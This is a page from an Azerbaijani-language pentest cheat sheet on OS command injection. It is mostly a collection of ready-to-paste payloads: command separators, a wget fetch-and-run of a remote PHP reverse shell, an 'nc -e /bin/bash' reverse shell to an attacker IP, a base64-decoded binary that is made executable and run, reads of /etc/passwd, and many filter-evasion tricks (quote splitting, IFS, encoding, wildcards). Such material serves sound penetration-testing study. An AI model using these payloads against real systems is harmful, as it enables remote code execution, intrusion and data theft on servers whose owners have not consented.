Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • Command injection nədir?
  • Command Injection/Execution
  • Filtering bypass
  • Bypass Paths and forbidden words
  • Bypass forbidden spaces
  • Bypass IPs

Was this helpful?

  1. Web Pentesting

OS Command Injection

PreviousPraktiki nümunəNextPraktiki nümunə

Last updated 1 year ago

Was this helpful?

Command injection nədir?

ƏS əmr inyeksiyası (həmçinin shell inyeksiyası kimi də tanınır) təcavüzkara tətbiqi işlədən serverdə ixtiyari əməliyyat sistemi (ƏS) əmrlərini çalışdırmağa imkan verən və adətən tətbiqi və onun bütün məlumatlarını tamamilə pozmağa imkan verən web təhlükəsizlik açığıdır.

Məsələn, verilən dəyər:

calc

Windows command prompt-na yazıldıqda proqram Kalkulyator tətbiqini açır.

Sonra təqdim edilmiş dəyər dəyişdirilərsə və indi:

calc & echo "test"

çalışdırılarsa, indi həm Kalkulyator tətbiqi, həm də cmd-də "test" sözünü görə bilərik.

Kontekst:

İnputu əlavə etdiyiniz yerdən asılı olaraq, əmrlərdən əvvəl yazılan konteksti (" və ya ' istifadə edərək) bağlamaq lazımdır.

Command Injection/Execution

#Həm Unixin həm də Windowsun dəsdəklədikləri
ls||id; ls ||id; ls|| id; ls || id # 2 tərəfdə çalışdırılır

ls|id; ls |id; ls| id; ls | id #  2 tərəfdə çalışdırılır (1 dənə pipe istifadə edərək)

ls&&id; ls &&id; ls&& id; ls && id # 1ci yerinə yetirildisə 2cini də çalışdırır

ls&id; ls &id; ls& id; ls & id # 2sidə çalışdırılır ancaq yalnız 2cinin nəticəsi görünür

ls %0A id # %0A 2sini də çalışdırır (Bu daha çox tövsiyyə olunur)
#Yalnız UNİX də istifadə olunanlar
`ls` # ``

$(ls) # $()

ls; id # ; arxa-arxaya əmrlər

ls${LS_COLORS:10:1}${IFS}id # Bu yararlı ola bilər

Nümunələr:

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php 

vuln=127.0.0.1%0anohup nc -e /bin/bash <öz IP-mizi yazırıq> 80 

vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametrlər

Burada, kod inyeksiyasına və RCE (Remote Code Execution) zəifliklərinə qarşı həssas ola biləcək ən yaxşı 25 parametr göstərilib.

?cmd={payload} ?exec={payload}

?command={payload} ?execute{payload}

?ping={payload} ?query={payload}

?jump={payload} ?code={payload}

?reg={payload} ?do={payload}

?func={payload} ?arg={payload}

?option={payload} ?load={payload}

?process={payload} ?step={payload}

?read={payload} ?function={payload}

?req={payload} ?feature={payload}

?exe={payload} ?module={payload}

?payload={payload} ?run={payload} ?print={payload}

Zamana əsaslanaraq məlumatlatın serverdən çəkilməsi

aydnn@lichaa▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

#burada istifadəçi adının ilk hərfi s dirsə, sistemdə 5 saniyə müddətində dayanma 
müşahidə olunur. Burda if şərti bizə sorğunun doğru olub-olmamasında kömək edir.


aydnn@lichaa▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

#burada istifadəçi adının ilk hərfi a dırsə, sistemdə 5 saniyə müddətində dayanma 
müşahidə olunmalıdır.  Ancaq belə bir hal baş vermir. Çünkü sorğu səhvdir.

Filtering bypass

Bypass Paths and forbidden words

/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

/usr/bin/who*mi # /usr/bin/whoami

touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Dırnaqlar
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Tərs slash-lər
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Böyük hərfdən kiçik hərfə
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformasiya (yalnız bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64


# $0 vasitəsilə
echo whoami|$0

# Başlanmamış dəyişənlər: Başlanmamış dəyişən sıfıra bərabərdir (heç bir şey)
cat$u /etc$u/passwd$u # Hər hansı bir simvoldan əvvəl {} olmadan başlatılmamış dəyişəndən istifadə edin
p${u}i${u}n${u}g # Pingə bərabərdir, işə salınmamış dəyişənləri etibarlı simvollar arasına qoymaq üçün {} istifadə edin

# Fake əmrlər
p$(u)i$(u)n$(u)g # Pingə bərabərdir, lakin "u" yerinə yetirməyə çalışan 3 səhv göstərilir
w`u`h`u`o`u`a`u`m`u`i # whoami-yə bərabərdir, lakin "u"-nu yerinə yetirməyə çalışan 5 səhv göstərilir

Bypass forbidden spaces

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS -Daxili sahə ayırıcı, bu halda hər hansı digər simvol üçün " " dəyişin ("]")
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Komanda xəttini dəyişənə qoyun və sonra icra edin
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # cat-i 2 defe istifade edin
#  Başqa cür, sadəcə olaraq ${IFS} üçün hər yeri dəyişdirin
echo${IFS}test

# hex formatı istifadə edin
X=$'cat\x20/etc/passwd'&&$X

# tablardan istifadə edin
echo "ls\x09-l" | bash

# Yeni sətirlər
p\
i\
n\
g # Bu 4 sətir pingə bərabər olacaq

# Müəyyən edilməmiş dəyişənlər və !
$u $u # Bu history də yadda saxlanılacaq və boşluq kimi istifadə edilə bilər, $u dəyişəninin qeyri-müəyyən olduğuna diqqət yetirin.
uname!-1\-a # uname -a bərabərdir.

Bypass IPs

# Decimal IPs
127.0.0.1 == 2130706433